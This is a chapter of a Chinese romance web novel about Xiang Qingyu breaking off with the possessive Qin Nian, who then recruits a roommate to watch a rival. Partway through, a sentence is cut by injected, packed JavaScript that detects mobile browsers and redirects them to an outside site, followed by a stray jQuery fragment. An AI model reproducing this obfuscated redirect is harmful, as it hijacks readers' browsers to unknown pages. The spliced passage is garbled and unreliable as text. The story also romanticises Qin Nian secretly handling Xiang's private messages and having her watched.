有人可能会觉得,在这种情况下,男人带点强制的动作,问出这样的话来争风吃醋彰显在意,会很带感,大概算得上是情趣。
可向卿语不觉得这是什么情趣,只觉得秦年又犯病了。
秦年的吃醋不同于一般人,他像是把她当做一种私有物品,当个人财产那样爱护着,不允许别人觊觎和触碰。
与此同时,还有因为一本陈年漫画对她产生的偏见,一切都已经严重到无可救药的地步。
沸腾的血液渐渐凉了下来,向卿语把秦年推开,随手捞过一件衣服迅速套上,一言不发地走进了浴室。
床上的秦年裸露着上半身,刚碰上运动裤的裤绳,反应过来的时候,眼前已经没了向卿语。
他有些懵然地眨了眨眼睛,随即,也根据向卿语的反应意识到了——
那天是个误会。
秦年松了口气,整个人都安静了下来,心脏却加速跳动着,一下一下地撞击胸腔。
虽然比喻不太恰当,但他确实有种劫后余生的惊喜。
只是,看着浴室,听见里面刷啦啦的水声,又有些微妙的可惜。
向卿语穿着整齐地从浴室里走出来时,秦年正靠在床头,一腿舒展,一腿屈起,低着头不知道在想什么。
裸露的上半身遍布暧昧的红痕,可抬头看过来时,他的表情柔软,清冷的面庞微微泛红,像是正舒展着花瓣的昙花。
而昙花,短暂一现。
秦年咳了一声,又戴上了刚刚被向卿语摘下的眼镜,好像遮住些眼底的情绪会让他有些安全感。
秦年很清楚,自己此时此刻应该老实道歉:“向…卿卿……对不起,我那天看到你和莫程昱一起出现在酒店里,我还以为……所以发生了点误会。”
喊出“卿卿”的时候,秦年的睫毛抖动着垂了下去,耳尖烫得厉害。
他想,他们又更进一步了,一个亲昵的称呼,应该是自然而然的吧?
向卿语完全略过了他的称呼,没让这误会继续加深,很干脆应下。
“对,你误会我了,误会得彻彻底底,我真不知道你满脑子里装了些什么恶心垃圾。”
“人长了一张嘴就是要说话要解释的,你没有吗?不会自己来问我吗?”
“凭什么你什么都不说要我来猜猜猜?凭什么我要任你揣测?”
秦年喉头一哽,下意识想反驳,又不知怎么反驳。
眼见着她拉上了行李箱,秦年抓住了她的手腕:“你去哪?”
向卿语挣脱:“回学校。”
秦年起身,抓过自己的T恤往身上穿,“等一下,我送你。”
向卿语转身,指尖狠狠戳在他还没被衣服盖上的胸口,制止他的动作:“秦年,短时间内,别让我再看到你——”
“还有,你的吻技差得要死。”
“真扫兴。”
*
向卿语说到做到。
当一个人专心致志地投入一个目标时,每天都会有一种满足的充盈感。
向卿语觉得,这种感觉好像比荷尔蒙上头的时候更让她上瘾一些。
偶而下课会遇见等在教室门口的秦年,向卿语也能当做空气无视掉他,毕竟她知道,若是停下来,就是没完没了的纠缠。
她晚上依然会去操场校园跑,几次下来,学校设置的一个学期的运动目标早已超额完成,继续锻炼身体。
莫程昱也依然会在那个地方唱歌。
偶尔见她在做拉伸,莫程昱会走来递一瓶水——每天都坚持,他好像对让她补充水分这件事情有种莫名的执着。
不过当她不需要时,莫程昱也不会强求,她不想聊天时,莫程昱就拿起话筒唱歌,练胆子,做他自己的事情。
进退得体,很有分寸感。
那道清澈的声线也吸引来越来越多的听众,向卿语往往是坐在草皮外围的那个。
而秦年依然在不知道那个角落默默关注着,向卿语能感觉到他幽幽的视线——
像是从她的后腰,探进了她的衣服里面,在她的腰间上下摩挲,惹得脊背发麻。
当然,秦年才不会主动。
所以,也有可能是她有点欲求不满,产生了错觉。
总之,不管秦年如何,向卿语就大胆做着向卿语。
而莫程昱和周秋宜两人倒是因为那次作业熟悉了起来,作为共友,向卿语也再没拒绝过莫程昱递来的水。
就当作朋友,她偶而还会在操场上给莫程昱捧场,自己也上去唱一首,帮i人带带气氛。
其余时间里,向卿语都在忙着准备比赛,在这期间,周秋宜的选修课迎来了期中作业展示。
这门课是视听语言,授课老师是个很佛系的老教授——
课堂氛围轻松,考核能拖就拖,他的公选课常年位居红榜第一,难抢得很。
秦年也选修了视听语言。
一个大教室能容纳三百人,教室里坐满了一大半儿,秦年坐在最后一排,检查笔记本电脑里的文件。
虽说是小组作业,但由于他行程不定,跟课堂上的人没打过任何交道,难以合群,所以是一个人完成的。
旁边的人是秦年没见过几面的室友,上课前与他特意打过招呼,坐在了他身边。
这会儿又凑过头来,套近乎:“秦年,你还对导演感兴趣啊?”
秦年说:“没兴趣。”
室友又猜:“学院里的专业选修课都没见你来过几节,这门公共选修课你倒是节节没有落下,真没兴趣?”
秦年声音平淡:“学这个,以后结婚的时候,可以给自己拍婚礼VLOG。”
室友的嗓子卡了卡,呼噜出一种看小情侣秀恩爱的怪声,感慨:“有钱就是好啊,从小就有漂亮老婆。”
他家里也有钱,但只能跟在秦家屁股后面喝点儿肉汤。
秦年转而看向他,和善地笑了笑:“哦?既然你知道她是我老婆的话,就离她远点。”
室友脸色一白:“你这话算什么?你怀疑我撬兄弟墙角?”
“我可还没说什么,你倒是先跳脚了。”秦年将眼镜摘了下来,擦了擦,重新戴了回去,看向他——
“莫程昱表白的时候,在论坛上骂人骂得最厉害的不是你?给向卿语发私信自我介绍的不是你?”
“网名旋风小土豆?你是不是恨不得代替莫程昱表白?嗯?”
室友脸色更白了,额头直冒冷汗。
也是,秦年想要知道什么消息,途径很多,说谎在他面前是完全无效的。
只是捅破了这件事的秦年看起来并没有什么醋意,心情还不错,像是想到了什么美好的回忆。
室友见状,抓住秦年的胳膊直接认错,称呼都变了。
“秦哥,我只是给你试探试探向姐的忠诚度,她要是回复我的私信的话,我绝对第一个不同意!”
秦年漫不经心地“嗯”了一声。
莫程昱表白那天晚上,向卿语当然没有时间看论坛,只顾着咬他了。
所以,自然也没功夫回复私信,他就顺手帮她都处理掉了。
室友见秦年的心情还行,也没对他发怒,便又开始搭讪,小声地说道:“秦哥不仅有老婆,小组作业自己一个人也能完美搞定……”
说着说着,室友垂涎欲滴:“秦哥,你小组加我个名字呗,让我混过这门课就行了,我请你和嫂子吃饭。”
秦年看着自己电脑视频里的女孩儿背影,头也没转一下:“我缺你一顿饭?”
室友一阵心梗。
秦年只要想,总是有本事气死人。
“不过,加你一个名字也可以。”秦年推了推眼镜,说道,“你帮我看着点儿戚樊。”
秦年当初没参加高考,走的是保送。
学校里有专门的一栋学生公寓分给这些保送来的学生,宿舍是三人寝。
和别的学生公寓不同,这栋宿舍楼分配舍友时有个专门的系统,根据每个人的兴趣爱好、性格特
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996221|178181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
征等做匹配。
加强宿舍和谐的同时,也意图方便这些未来的高精尖人才跨学科合作。
所以,秦年所在的宿舍里面,三人的专业也不一样。
戚樊是室友2号,和秦年一样来自济川市,是戚家的独生子,也是向卿语爷爷从小带到大的得意门生,一直对向卿语殷勤得很。
淮大虽说是国内最好的综合性大学,但济川的医学院绝对胜过淮大,戚樊却来这边读医。
一定是居心叵测,虎视眈眈。
所以,算是个潜在威胁——想到这里,秦年转头盯着室友1号,等着他的回复。
室友1号脸色复杂,点头应下。
他是淮州本地考生,而戚樊、秦年以及向卿语家在济川市,离淮州一千多公里,跨了三个省。
因为家里和秦家有合作,他消息比校内的大多数人准确,也很清楚秦年与向卿语之间的关系。
但他也算和戚繁在同一个屋檐下生活了两年了,却不知戚繁本来就认识秦年和向卿语,那个闷葫芦——
“呵,藏挺深的啊。”
室友1号忍不住咬牙。
修长的手指在笔记本电脑的PPT文件里随便敲了两下,秦年忽然转过头来,问道:“对了,旋风小土豆,你叫什么?”
两年了,连合作伙伴的儿子兼室友的名字都没记住?
室友1号捏紧了拳头,笑嘻嘻:“秦哥,我叫徐峰,峰回路转的峰。”
“嗯。”秦年在PPT最后一页敲上了他的名字,“学号。”
徐峰自己凑过来在秦年的电脑键盘上敲敲打打,虚伪地笑了一下:“谢谢你啊秦哥。”
讲台上正在进行小组展示。
秦年是倒数第二组,时间还很充足,他把U盘摘了下来,扔给徐峰:“看看PPT,一会儿你上去汇报。”
徐峰大惊,小声推拒:“我?哥,你别,我,我不行啊……”
徐峰是金融专业的,但也完全是混日子的,能和秦年还有戚樊做室友,全靠他爸妈肯砸钱。
秦年说:“简单介绍一下小组成员,然后打开U盘里的视频播放,最后念PPT就行了。”
秦年低下头刷起了手机。
徐峰不敢再多说。
秦年戳进了和向卿语的聊天框。
向卿语拖着行李箱离开公寓以后,已经又过了三天。
他主动去找了向卿语。
项目落地以后,他只需要做个控局者,比以前多了很多时间等在向卿语的教室门口。
然而,他被她完全无视了。
周围的男生像看笑话一样时不时看过来,路过他,一阵窃窃私语飘远,好像在说——
喂,秦年,向卿语根本不喜欢你,她早就说过了,她所做的一切都是为了睡你,你还腆着脸凑上去。
真丢人。
每当这种情况出现,秦年脸上总觉得脸上有阵火辣辣的痛,更难以忍受的,是心尖一缩一缩的酸楚。
明明一个月前,向卿语还非他不可——现在与之前完全颠倒的一切,都让秦年很不习惯。
秦年打字:「你在哪?」
聊天框里安安静静,手机没有一丝要响动的迹象。
秦年回忆了下向卿语的课表。
今天周四,她只有一节早八,按理来说,这些天她应该会很闲。
那她还能撑多久不碰他呢?
正当秦年在脑海中盘算着怎样把人带回公寓亲亲抱抱的时候,余光里忽然闯入一个熟悉的影子。
向卿语正偷偷摸摸地从后门钻了进来,气喘吁吁,额角的头发贴着皮肤,露出一张泛红的脸。
她扒着最后一排的椅子,视线在前面几排飞快地逡巡。
而秦年坐在最角落最隐蔽的位置,旁边还有个徐峰挡着,算得上是向卿语的视线死角。
徐峰也注意到了向卿语,困倦的眼睛瞬间发亮,他小声地问:“秦哥?嫂子是不是来找你的?我帮你叫过来?”